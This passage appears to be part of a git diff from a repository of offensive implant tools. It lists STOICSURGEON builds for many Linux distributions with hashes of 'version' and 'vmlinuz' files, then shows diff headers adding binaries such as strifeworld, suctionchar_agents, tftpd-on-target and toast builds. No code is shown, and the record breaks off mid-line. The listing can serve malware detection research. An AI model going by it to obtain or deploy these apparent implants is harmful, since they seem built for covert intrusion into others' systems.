STOICSURGEON-X86-LINUX-ASIANUX-2.0 Tue Mar 12 2013 +1.7.53.1 5bb1c267b674663970b2cc72d9ee9ec8 version STOICSURGEON-X86-LINUX-ASIANUX-2.0 Tue Mar 12 2013 +1.7.53.1 03f1e90587f3c88db3c29daaadd64d36 vmlinuz STOICSURGEON-X86-LINUX-ASIANUX-2.0 Tue Mar 12 2013 +1.7.53.7 share export STOICSURGEON-X86-LINUX-ASIANUX-2.0 Thu Mar 21 2013 +1.7.53.7 share export STOICSURGEON-X86-LINUX-ASIANUX-2.0 Thu Mar 21 2013 +1.7.53.7 share export STOICSURGEON-X86-LINUX-ASIANUX-2.0 Thu Mar 21 2013 +1.7.53.7 share export STOICSURGEON-X86-LINUX-ASIANUX-2.0 Thu Mar 21 2013 +1.7.53.7 share export STOICSURGEON-X86-LINUX-ASIANUX-2.0 Thu Mar 21 2013 +1.7.53.7 share export STOICSURGEON-X86-LINUX-ASIANUX-2.0 Thu Mar 21 2013 +1.7.53.7 share export STOICSURGEON-X86-LINUX-ASIANUX-2.0 Thu Mar 21 2013 +1.7.53.7 share export STOICSURGEON-X86-LINUX-ASIANUX-2.0 Thu Mar 21 2013 +1.7.53.7 ad11be238ea8bbc33b260bf6c2d0342b version STOICSURGEON-X86-LINUX-ASIANUX-2.0 Thu Mar 21 2013 +1.7.53.7 4c46629e485237033dea7f23d07811d4 vmlinuz STOICSURGEON-X86-LINUX-ASIANUX-2.0 Thu Mar 21 2013 +1.7.53.7 ff0a8376db02bdab1c03b914c8bed109 version STOICSURGEON-X86-LINUX-ASIANUX-2.0 Thu Mar 21 2013 +1.7.53.7 d1548c456757782bee9faf7109190f4e vmlinuz STOICSURGEON-X86-LINUX-ASIANUX-2.0 Thu Mar 21 2013 +1.7.53.7 d3897db412e56485d4ecf053a881be62 version STOICSURGEON-X86-LINUX-ASIANUX-2.0 Thu Mar 21 2013 +1.7.53.7 63dbbbfe7c9293702332dd637eff75c1 vmlinuz STOICSURGEON-X86-LINUX-ASIANUX-2.0 Thu Mar 21 2013 +1.7.53.7 5bb1c267b674663970b2cc72d9ee9ec8 version STOICSURGEON-X86-LINUX-ASIANUX-2.0 Thu Mar 21 2013 +1.7.53.7 03f1e90587f3c88db3c29daaadd64d36 vmlinuz STOICSURGEON-X86-LINUX-ASIANUX-2.0 Thu Mar 21 2013 +1.7.53.6 share export STOICSURGEON-X86-LINUX-SLACKWARE-9.0 Wed Mar 20 2013 +1.7.53.6 share export STOICSURGEON-X86-LINUX-SLACKWARE-9.0 Wed Mar 20 2013 +1.7.53.6 7386307a80b67729a5f10e0b1151f06d version STOICSURGEON-X86-LINUX-SLACKWARE-9.0 Wed Mar 20 2013 +1.7.53.6 c4881316a786d150735c3a25c9672e82 vmlinuz STOICSURGEON-X86-LINUX-SLACKWARE-9.0 Wed Mar 20 2013 +1.7.55.1 share export STOICSURGEON-X86_64-LINUX-FEDORA14 Mon Apr 22 2013 +1.7.55.1 share export STOICSURGEON-X86_64-LINUX-FEDORA14 Mon Apr 22 2013 +1.7.55.1 share export STOICSURGEON-X86_64-LINUX-FEDORA14 Mon Apr 22 2013 +1.7.55.1 share export STOICSURGEON-X86_64-LINUX-FEDORA14 Mon Apr 22 2013 +1.7.55.1 4b9008428c07c5df588efc2a8b0071a6 version STOICSURGEON-X86_64-LINUX-FEDORA14 Mon Apr 22 2013 +1.7.55.1 b4262cb3182f48439e3b94129fdff17f vmlinuz STOICSURGEON-X86_64-LINUX-FEDORA14 Mon Apr 22 2013 +1.7.55.1 2d0f3957c875aeb00052138a658d0eea version STOICSURGEON-X86_64-LINUX-FEDORA14 Mon Apr 22 2013 +1.7.55.1 7bec293277766ddea5bee195c51be2a6 vmlinuz STOICSURGEON-X86_64-LINUX-FEDORA14 Mon Apr 22 2013 +1.7.55.6 share export STOICSURGEON-X86-LINUX-FEDORA14 Mon Apr 22 2013 +1.7.55.6 share export STOICSURGEON-X86-LINUX-FEDORA14 Mon Apr 22 2013 +1.7.55.6 share export STOICSURGEON-X86-LINUX-FEDORA14 Mon Apr 22 2013 +1.7.55.6 share export STOICSURGEON-X86-LINUX-FEDORA14 Mon Apr 22 2013 +1.7.55.6 share export STOICSURGEON-X86-LINUX-FEDORA14 Mon Apr 22 2013 +1.7.55.6 share export STOICSURGEON-X86-LINUX-FEDORA14 Mon Apr 22 2013 +1.7.55.6 share export STOICSURGEON-X86-LINUX-FEDORA14 Mon Apr 22 2013 +1.7.55.6 share export STOICSURGEON-X86-LINUX-FEDORA14 Mon Apr 22 2013 +1.7.55.6 share export STOICSURGEON-X86-LINUX-FEDORA14 Mon Apr 22 2013 +1.7.55.6 share export STOICSURGEON-X86-LINUX-FEDORA14 Mon Apr 22 2013 +1.7.55.6 share export STOICSURGEON-X86-LINUX-FEDORA14 Mon Apr 22 2013 +1.7.55.6 share export STOICSURGEON-X86-LINUX-FEDORA14 Mon Apr 22 2013 +1.7.55.6 share export STOICSURGEON-X86-LINUX-FEDORA14 Mon Apr 22 2013 +1.7.55.6 share export STOICSURGEON-X86-LINUX-FEDORA14 Mon Apr 22 2013 +1.7.55.6 share export STOICSURGEON-X86-LINUX-FEDORA14 Mon Apr 22 2013 +1.7.55.6 share export STOICSURGEON-X86-LINUX-FEDORA14 Mon Apr 22 2013 +1.7.55.6 share export STOICSURGEON-X86-LINUX-FEDORA14 Mon Apr 22 2013 +1.7.55.6 share export STOICSURGEON-X86-LINUX-FEDORA14 Mon Apr 22 2013 +1.7.55.6 share export STOICSURGEON-X86-LINUX-FEDORA14 Mon Apr 22 2013 +1.7.55.6 share export STOICSURGEON-X86-LINUX-FEDORA14 Mon Apr 22 2013 +1.7.55.6 share export STOICSURGEON-X86-LINUX-FEDORA14 Mon Apr 22 2013 +1.7.55.6 share export STOICSURGEON-X86-LINUX-FEDORA14 Mon Apr 22 2013 +1.7.55.6 share export STOICSURGEON-X86-LINUX-FEDORA14 Mon Apr 22 2013 +1.7.55.6 share export STOICSURGEON-X86-LINUX-FEDORA14 Mon Apr 22 2013 +1.7.55.6 share export STOICSURGEON-X86-LINUX-FEDORA14 Mon Apr 22 2013 +1.7.55.6 share export STOICSURGEON-X86-LINUX-FEDORA14 Mon Apr 22 2013 +1.7.55.6 share export STOICSURGEON-X86-LINUX-FEDORA14 Mon Apr 22 2013 +1.7.55.6 share export STOICSURGEON-X86-LINUX-FEDORA14 Mon Apr 22 2013 +1.7.55.6 901a9d22ca65a2485819fd358efa3b33 version STOICSURGEON-X86-LINUX-FEDORA14 Mon Apr 22 2013 +1.7.55.6 27fc83e48ae689a7445e2752fb0fbd60 vmlinuz STOICSURGEON-X86-LINUX-FEDORA14 Mon Apr 22 2013 +1.7.55.6 3376ca3010ce1da75e792bc5bfbe9bea version STOICSURGEON-X86-LINUX-FEDORA14 Mon Apr 22 2013 +1.7.55.6 39f23221458472299b75a2f5dc8d553b vmlinuz STOICSURGEON-X86-LINUX-FEDORA14 Mon Apr 22 2013 +1.7.55.6 a2e63fca71ca8d0dabbcab46a5d9de8e version STOICSURGEON-X86-LINUX-FEDORA14 Mon Apr 22 2013 +1.7.55.6 d580832ee42a9505a1fc4ade288ad5a8 vmlinuz STOICSURGEON-X86-LINUX-FEDORA14 Mon Apr 22 2013 +1.7.55.6 c3b19c14e36898aea4e12770c154b187 version STOICSURGEON-X86-LINUX-FEDORA14 Mon Apr 22 2013 +1.7.55.6 e337626a299455822567905e10bec37e vmlinuz STOICSURGEON-X86-LINUX-FEDORA14 Mon Apr 22 2013 +1.7.55.6 0bb3be77262fda20a35435aa97560f1b version STOICSURGEON-X86-LINUX-FEDORA14 Mon Apr 22 2013 +1.7.55.6 7d39956e92bfa74da692f518696a056a vmlinuz STOICSURGEON-X86-LINUX-FEDORA14 Mon Apr 22 2013 +1.7.55.6 3a51a4a94a4b7d39b72c287fb23ba5e6 version STOICSURGEON-X86-LINUX-FEDORA14 Mon Apr 22 2013 +1.7.55.6 813694941884159cead277cb70a79ebe vmlinuz STOICSURGEON-X86-LINUX-FEDORA14 Mon Apr 22 2013 +1.7.55.6 4e1d00c99f612cf56d9d7ae428a63f8c version STOICSURGEON-X86-LINUX-FEDORA14 Mon Apr 22 2013 +1.7.55.6 4437bfdcdfa081d09b114bdbfe23c8f3 vmlinuz STOICSURGEON-X86-LINUX-FEDORA14 Mon Apr 22 2013 +1.7.55.6 b02563efdc98677979b2d1eaef8e6221 version STOICSURGEON-X86-LINUX-FEDORA14 Mon Apr 22 2013 +1.7.55.6 681ac982d4b1dd9fc517f597a8a0f59a vmlinuz STOICSURGEON-X86-LINUX-FEDORA14 Mon Apr 22 2013 +1.7.55.6 5257181fe7d4cd8bb51d94b306913e18 version STOICSURGEON-X86-LINUX-FEDORA14 Mon Apr 22 2013 +1.7.55.6 f588579e7e6adc0a469ddd0ab9166325 vmlinuz STOICSURGEON-X86-LINUX-FEDORA14 Mon Apr 22 2013 +1.7.55.6 fac1ad097d8fb931fac80ec936414aa3 version STOICSURGEON-X86-LINUX-FEDORA14 Mon Apr 22 2013 +1.7.55.6 bb3d987ae3f361c63e48aafb6dbb7046 vmlinuz STOICSURGEON-X86-LINUX-FEDORA14 Mon Apr 22 2013 +1.7.55.6 53e319f68eddbfd76f900bd03d14b1b4 version STOICSURGEON-X86-LINUX-FEDORA14 Mon Apr 22 2013 +1.7.55.6 49983437d3d48c0b3a146248c38b97b5 vmlinuz STOICSURGEON-X86-LINUX-FEDORA14 Mon Apr 22 2013 +1.7.55.6 785c18c91e07879eded90b15fceb0bfb version STOICSURGEON-X86-LINUX-FEDORA14 Mon Apr 22 2013 +1.7.55.6 eb5a1f0bfab45fec770d60a8a719e65d vmlinuz STOICSURGEON-X86-LINUX-FEDORA14 Mon Apr 22 2013 +1.7.55.6 88849a90003ad767e935ffc044bc114e version STOICSURGEON-X86-LINUX-FEDORA14 Mon Apr 22 2013 +1.7.55.6 adc4b30208ee97667125ab88dfa9ddc2 vmlinuz STOICSURGEON-X86-LINUX-FEDORA14 Mon Apr 22 2013 +1.7.55.6 53eb7555b9e9d8996190238b334c827c version STOICSURGEON-X86-LINUX-FEDORA14 Mon Apr 22 2013 +1.7.55.6 09b04a528e1cb4939abb05c739b360e6 vmlinuz STOICSURGEON-X86-LINUX-FEDORA14 Mon Apr 22 2013 +1.7.56.9 share export STOICSURGEON-X86_64-LINUX-ORACLE-ENTERPRISE-5.4 Tue Apr 30 2013 +1.7.56.9 share export STOICSURGEON-X86_64-LINUX-ORACLE-ENTERPRISE-5.4 Tue Apr 30 2013 +1.7.56.9 35b2d9ab2956da599ff3d12e4ed9c4df version STOICSURGEON-X86_64-LINUX-ORACLE-ENTERPRISE-5.4 Tue Apr 30 2013 +1.7.56.9 6db958158f010332656bda9081f85f53 vmlinuz STOICSURGEON-X86_64-LINUX-ORACLE-ENTERPRISE-5.4 Tue Apr 30 2013 +1.7.56.13 share export STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.1 Fri May 3 2013 +1.7.56.13 share export STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.1 Fri May 3 2013 +1.7.56.13 share export STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.1 Fri May 3 2013 +1.7.56.13 share export STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.1 Fri May 3 2013 +1.7.56.13 ac1494cfe6e1f069d50ccc5446d266be version STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.1 Mon May 6 2013 +1.7.56.13 a1850a2360c9a0c87a0a6ea01a13e3dc vmlinuz STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.1 Mon May 6 2013 +1.7.56.13 20f4b46d3a3177b0921b45c60e020f12 version STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.1 Mon May 6 2013 +1.7.56.13 c54c63dc864b13e39d0b9f952c6e8b20 vmlinuz STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.1 Mon May 6 2013 +1.7.56.13 35b03a2618425c176b7635ed84facd5f version STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.1 Mon May 6 2013 +1.7.56.13 215d53a6f64eea93b353c2756030fecb vmlinuz STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.1 Mon May 6 2013 +1.7.56.13 b96527eff0dc8958d0d9c84d7edd3507 version STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.1 Mon May 6 2013 +1.7.56.13 6d37074b9131c4d6a7854b7284b66663 vmlinuz STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.1 Mon May 6 2013 +1.7.56.13 67cbd8ca84c00d51a0de8e73962691f5 version STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.1 Mon May 6 2013 +1.7.56.13 4eb030a3f985b1b9057418dc59eed494 vmlinuz STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.1 Mon May 6 2013 +1.7.56.13 9e36e146ada6941757142c09c5c726b9 version STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.1 Mon May 6 2013 +1.7.56.13 353a71af1b71b8248eb9d313790587dd vmlinuz STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.1 Mon May 6 2013 +1.7.56.13 937cf9e4542346aa06408e08e10544dd version STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.1 Mon May 6 2013 +1.7.56.13 8237160d8a0491059ae6238deb6959b8 vmlinuz STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.1 Mon May 6 2013 +1.7.56.13 86a930877e40aabe778109fc6402bbdd version STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.1 Mon May 6 2013 +1.7.56.13 1f2b89930421cbed3d48e67fba3b14af vmlinuz STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.1 Mon May 6 2013 +1.7.56.13 32f1eaeb07cdeee13684b71afe367be7 version STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.1 Mon May 6 2013 +1.7.56.13 b255d86881ff4f017c34ce6df64ec7d2 vmlinuz STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.1 Mon May 6 2013 +1.7.56.13 1b15ff80c4c93afec2963ffa4f68ab3e version STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.1 Mon May 6 2013 +1.7.56.13 0933332d71a189f6ff0ae8254e57d5e4 vmlinuz STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.1 Mon May 6 2013 +1.7.56.13 35cdf3b00726112819cbdbc09f1338b2 version STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.1 Mon May 6 2013 +1.7.56.13 1ff41b48307165e1519e0a6cd10a89e6 vmlinuz STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.1 Mon May 6 2013 +1.7.56.13 40167b296e8e2617bf3bc1abfb4ec8e7 version STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.1 Mon May 6 2013 +1.7.56.13 f56a6765fe928cec57cd07292470cba8 vmlinuz STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.1 Mon May 6 2013 +1.7.56.13 08fcb7542a33ec45f60bd43b73aca1cd version STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.1 Mon May 6 2013 +1.7.56.13 31f851e98144e37ded1c17987fbdfa93 vmlinuz STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.1 Mon May 6 2013 +1.7.56.13 83872a362ff8c475e8883aa69f018f55 version STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.1 Mon May 6 2013 +1.7.56.13 a3f0bfce6ae42c11d98c8b2e07e63f1c vmlinuz STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.1 Mon May 6 2013 +1.7.56.13 6f083666957bb5462714a425e10d79c8 version STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.1 Mon May 6 2013 +1.7.56.13 14d8f568dc1d56f3d960d548667fc818 vmlinuz STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.1 Mon May 6 2013 +1.7.56.13 d1cf694a54cf65334c8a4363eafd87ba version STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.1 Mon May 6 2013 +1.7.56.13 a7c656816d3cd083e08697bccb06bcb6 vmlinuz STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.1 Mon May 6 2013 +1.7.56.13 9ce95ef2a5a9438dafc9597b7ee0d909 version STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.1 Mon May 6 2013 +1.7.56.13 7fbf2d731c1ca77db2ec9b67fe79f58e vmlinuz STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.1 Mon May 6 2013 +1.7.56.13 bb8ee49f1bf3004dfef524590fb89b2f version STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.1 Mon May 6 2013 +1.7.56.13 3a2e55004739f60100273de2f77731e0 vmlinuz STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-10.1 Mon May 6 2013 +1.7.56.19 share export STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-9 Thu May 9 2013 +1.7.56.19 share export STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-9 Thu May 9 2013 +1.7.56.19 share export STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-9 Thu May 9 2013 +1.7.56.19 share export STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-9 Thu May 9 2013 +1.7.56.19 aa0aa85d840b3eb4f70a97df759e65e4 version STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-9 Thu May 9 2013 +1.7.56.19 9e2294f50f1bdd3299fe1cd62c51af3a vmlinuz STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-9 Thu May 9 2013 +1.7.56.19 4c2c81b358d19a39e3b9cec1c5f998f3 version STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-9 Thu May 9 2013 +1.7.56.19 21edd1863c1ac8594cecac3b71ceba52 vmlinuz STOICSURGEON-X86_64-LINUX-SUSE-ENTERPRISE-9 Thu May 9 2013 +1.7.58.1 share export STOICSURGEON-X86-LINUX-ASP-5.0 Fri May 17 2013 +1.7.58.1 share export STOICSURGEON-X86-LINUX-ASP-5.0 Fri May 17 2013 +1.7.58.1 49b8099722d7a99c09a958bc11dc4a90 version STOICSURGEON-X86-LINUX-ASP-5.0 Fri May 17 2013 +1.7.58.1 ed75fda7f385f5cbefca8902d9070c64 vmlinuz STOICSURGEON-X86-LINUX-ASP-5.0 Fri May 17 2013 +1.7.59.3 share export STOICSURGEON-X86_64-LINUX-TANDBERG Tue Jun 4 2013 +1.7.59.3 share export STOICSURGEON-X86_64-LINUX-TANDBERG Tue Jun 4 2013 +1.7.59.3 share export STOICSURGEON-X86_64-LINUX-TANDBERG Tue Jun 4 2013 +1.7.59.3 share export STOICSURGEON-X86_64-LINUX-TANDBERG Tue Jun 4 2013 +1.7.59.3 share export STOICSURGEON-X86_64-LINUX-TANDBERG Tue Jun 4 2013 +1.7.59.3 share export STOICSURGEON-X86_64-LINUX-TANDBERG Tue Jun 4 2013 +1.7.59.3 562992bd1e13380b65af605c73d342a3 version STOICSURGEON-X86_64-LINUX-TANDBERG Tue Jun 4 2013 +1.7.59.3 4acba57abd8a1ba55bd9c76e6a4c380d vmlinuz STOICSURGEON-X86_64-LINUX-TANDBERG Tue Jun 4 2013 +1.7.59.3 f7c2f3992a15ba579ee81c010046c4d0 version STOICSURGEON-X86_64-LINUX-TANDBERG Tue Jun 4 2013 +1.7.59.3 1a3dcda96670789ecb48c00626f93b1a vmlinuz STOICSURGEON-X86_64-LINUX-TANDBERG Tue Jun 4 2013 +1.7.59.3 477b06b38f2e57fe1eb9d1c2fa4dc7e0 version STOICSURGEON-X86_64-LINUX-TANDBERG Tue Jun 4 2013 +1.7.59.3 becc8bf8ad271769b0fda721c77cc731 vmlinuz STOICSURGEON-X86_64-LINUX-TANDBERG Tue Jun 4 2013 +1.7.62.2 share export STOICSURGEON-X86-LINUX-UBUNTU-10.04-VINIFERA Sat Jun 22 2013 +1.7.62.2 share export STOICSURGEON-X86-LINUX-UBUNTU-10.04-VINIFERA Sat Jun 22 2013 +1.7.62.2 699f47c2727e26223cd928fc7ec9b863 version STOICSURGEON-X86-LINUX-UBUNTU-10.04-VINIFERA Sat Jun 22 2013 +1.7.62.2 fbcea98b0b7283c47190a6d7ddaf97ab vmlinuz STOICSURGEON-X86-LINUX-UBUNTU-10.04-VINIFERA Sat Jun 22 2013 +1.7.62.3 share export STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-4.9 Tue Jun 25 2013 +1.7.62.3 share export STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-4.9 Tue Jun 25 2013 +1.7.62.3 share export STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-4.9 Tue Jun 25 2013 +1.7.62.3 share export STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-4.9 Tue Jun 25 2013 +1.7.62.3 share export STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-4.9 Tue Jun 25 2013 +1.7.62.3 share export STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-4.9 Tue Jun 25 2013 +1.7.62.3 share export STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-4.9 Tue Jun 25 2013 +1.7.62.3 share export STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-4.9 Tue Jun 25 2013 +1.7.62.3 share export STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-4.9 Tue Jun 25 2013 +1.7.62.3 share export STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-4.9 Tue Jun 25 2013 +1.7.62.3 share export STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-4.9 Tue Jun 25 2013 +1.7.62.3 share export STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-4.9 Tue Jun 25 2013 +1.7.62.3 share export STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-4.9 Tue Jun 25 2013 +1.7.62.3 share export STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-4.9 Tue Jun 25 2013 +1.7.62.3 share export STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-4.9 Tue Jun 25 2013 +1.7.62.3 share export STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-4.9 Tue Jun 25 2013 +1.7.62.3 5855fcb032a36dbc976803689d9d8e8c version STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-4.9 Tue Jun 25 2013 +1.7.62.3 6d9ffdb02a94754bf4372152ebe099ad vmlinuz STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-4.9 Tue Jun 25 2013 +1.7.62.3 c01cf597c1120ad18dcbec3a0f37b166 version STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-4.9 Tue Jun 25 2013 +1.7.62.3 0c6bc52724b30eb78f292b84d2eed45c vmlinuz STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-4.9 Tue Jun 25 2013 +1.7.62.3 6cf44b49194871eda23dc6d4229e2216 version STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-4.9 Tue Jun 25 2013 +1.7.62.3 020a4461bcc28b135b4f640dc2584216 vmlinuz STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-4.9 Tue Jun 25 2013 +1.7.62.3 14759c8288f299a559f42269b6915525 version STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-4.9 Tue Jun 25 2013 +1.7.62.3 656f6651751a7c8d2342586604565917 vmlinuz STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-4.9 Tue Jun 25 2013 +1.7.62.3 b7e743db7e9352a4782875d33ba45a77 version STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-4.9 Tue Jun 25 2013 +1.7.62.3 46908e1f75af2d056d08a94c313ecda0 vmlinuz STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-4.9 Tue Jun 25 2013 +1.7.62.3 6b6a9cca29e8bdbf78b9c9a506d7e597 version STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-4.9 Tue Jun 25 2013 +1.7.62.3 f0dd50e0c1e0fc589b9233c1059fb8e9 vmlinuz STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-4.9 Tue Jun 25 2013 +1.7.62.3 1550a75fa76558bcc67493458d188624 version STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-4.9 Tue Jun 25 2013 +1.7.62.3 14569b9e7cf5624a20de16644e21123b vmlinuz STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-4.9 Tue Jun 25 2013 +1.7.62.3 fb635dc40386f871e30026da4f788fd9 version STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-4.9 Tue Jun 25 2013 +1.7.62.3 36bdcc56d8d72508a23044a56aeba5eb vmlinuz STOICSURGEON-X86-LINUX-REDHAT-ENTERPRISE-4.9 Tue Jun 25 2013 diff --git a/Linux/up/strifeworld.tar.bz2 b/Linux/up/strifeworld.tar.bz2 new file mode 100644 index 0000000..aa64394 Binary files /dev/null and b/Linux/up/strifeworld.tar.bz2 differ diff --git a/Linux/up/strifeworlds.OLD/strifeworld.hppa1.1-hp-hpux10.20 b/Linux/up/strifeworlds.OLD/strifeworld.hppa1.1-hp-hpux10.20 new file mode 100644 index 0000000..5e5aaf1 Binary files /dev/null and b/Linux/up/strifeworlds.OLD/strifeworld.hppa1.1-hp-hpux10.20 differ diff --git a/Linux/up/strifeworlds.OLD/strifeworld.i386-unknown-freebsd3.3 b/Linux/up/strifeworlds.OLD/strifeworld.i386-unknown-freebsd3.3 new file mode 100644 index 0000000..76fad24 Binary files /dev/null and b/Linux/up/strifeworlds.OLD/strifeworld.i386-unknown-freebsd3.3 differ diff --git a/Linux/up/strifeworlds.OLD/strifeworld.i386-unknown-freebsd4.4 b/Linux/up/strifeworlds.OLD/strifeworld.i386-unknown-freebsd4.4 new file mode 100644 index 0000000..55ae1b0 Binary files /dev/null and b/Linux/up/strifeworlds.OLD/strifeworld.i386-unknown-freebsd4.4 differ diff --git a/Linux/up/strifeworlds.OLD/strifeworld.i386-unknown-freebsd4.x b/Linux/up/strifeworlds.OLD/strifeworld.i386-unknown-freebsd4.x new file mode 120000 index 0000000..b5c52b9 --- /dev/null +++ b/Linux/up/strifeworlds.OLD/strifeworld.i386-unknown-freebsd4.x @@ -0,0 +1 @@ +strifeworld.i386-unknown-freebsd4.4 \ No newline at end of file diff --git a/Linux/up/suctionchar_agents.tar.bz2 b/Linux/up/suctionchar_agents.tar.bz2 new file mode 100644 index 0000000..b08cfa2 Binary files /dev/null and b/Linux/up/suctionchar_agents.tar.bz2 differ diff --git a/Linux/up/tftpd-on-target-linux-solaris.tar.bz2 b/Linux/up/tftpd-on-target-linux-solaris.tar.bz2 new file mode 100644 index 0000000..1409fb9 Binary files /dev/null and b/Linux/up/tftpd-on-target-linux-solaris.tar.bz2 differ diff --git a/Linux/up/toast/toast_v1.0.0.1-junos b/Linux/up/toast/toast_v1.0.0.1-junos new file mode 100644 index 0000000..a8e3bc3 Binary files /dev/null and b/Linux/up/toast/toast_v1.0.0.1-junos differ diff --git a/Linux/up/toast/toast_v2.0.0.53-debian.sparc b/Linux/up/toast/toast_v2.0.0.53-debian.sparc new file mode 100644 index 0000000..e801190 Binary files /dev/null and b/Linux/up/toast/toast_v2.0.0.53-debian.sparc differ diff --git a/Linux/up/toast/toast_v2.0.0.53-freebsd.5.3 b/Linux/up/toast/toast_v2.0.0.53-freebsd.5.3 new file mode 100644 index 0000000..4755a84 Binary files /dev/null and b/Linux/up/toast/toast_v2.0.0.53-freebsd.5.3 differ diff --git a/Linux/up/toast/toast_v2.0.2.1-junos.static b/Linux/up/toast/toast_v2.0.2.1-junos.static new file mode 100644 index 0000000..2bec6f1 Binary files /dev/null and b/Linux/up/toast/toast_v2.0.2.1-junos.static differ diff --git a/Linux/up/toast/toast_v2.1.0.1-hpux.itanium b/Linux/up/toast/toast_v2.1.0.1-hpux.itanium new file mode 100644 index 0000000..43a23ea Binary files /dev/null and b/Linux/up/toast/toast_v2.1.0.1-hpux.itanium differ diff --git a/Linux/up/toast/toast_v3.0.0.0-linux-x86_64 b/Linux/up/toast/toast_v3.0.0.0-linux-x86_64 new file mode 100644 index 0000000..84bb9ce Binary files /dev/null and b/Linux/up/toast/toast_v3.0.0.0-linux-x86_64 differ diff --git a/Linux/up/toast/toast_v3.1.0.0-freebsd-9.0.i386 b/Linux/up/toast/toast_v3.1.0.0-freebsd-9.0.i386 new file mode 100644 index 0000000..54a9850 Binary files /dev/null and b/Linux/up/toast/toast_v3.1.0.0-freebsd-9.0.i386 differ diff --git a/Linux/up/toast/toast_v3.1.0.0-freebsd-9.0.x86_64 b/Linux/up/toast/toast_v3.1.0.0-freebsd-9.0.x86_64 new file mode 100644 index 0000000..d62e151 Binary files /dev/null and b/Linux/up/toast/toast_v3.1.0.0-freebsd-9.0.x86_64 differ diff --git a/Linux/up/toast/toast_v3.1.1.0-freebsd4-x86 b/Linux/up/toast/toast_v3.1.1.0-freebsd4-x86 new file mode 100644 index 0000000..c60c0ea Binary files /dev/null and b/Linux/up/toast/toast_v3.1.1.0-freebsd4-x86 differ diff --git a/Linux/up/toast/toast_v3.1.1.0-freebsd5-x86 b/Linux/up/toast/toast_v3.1.1.0-freebsd5-x86 new file mode 100644 index 0000000..082856f Binary files /dev/null and b/Linux/up/toast/toast_v3.1.1.0-freebsd5-x86 differ diff --git a/Linux/up/toast/toast_v3.1.1.0-freebsd6-x86 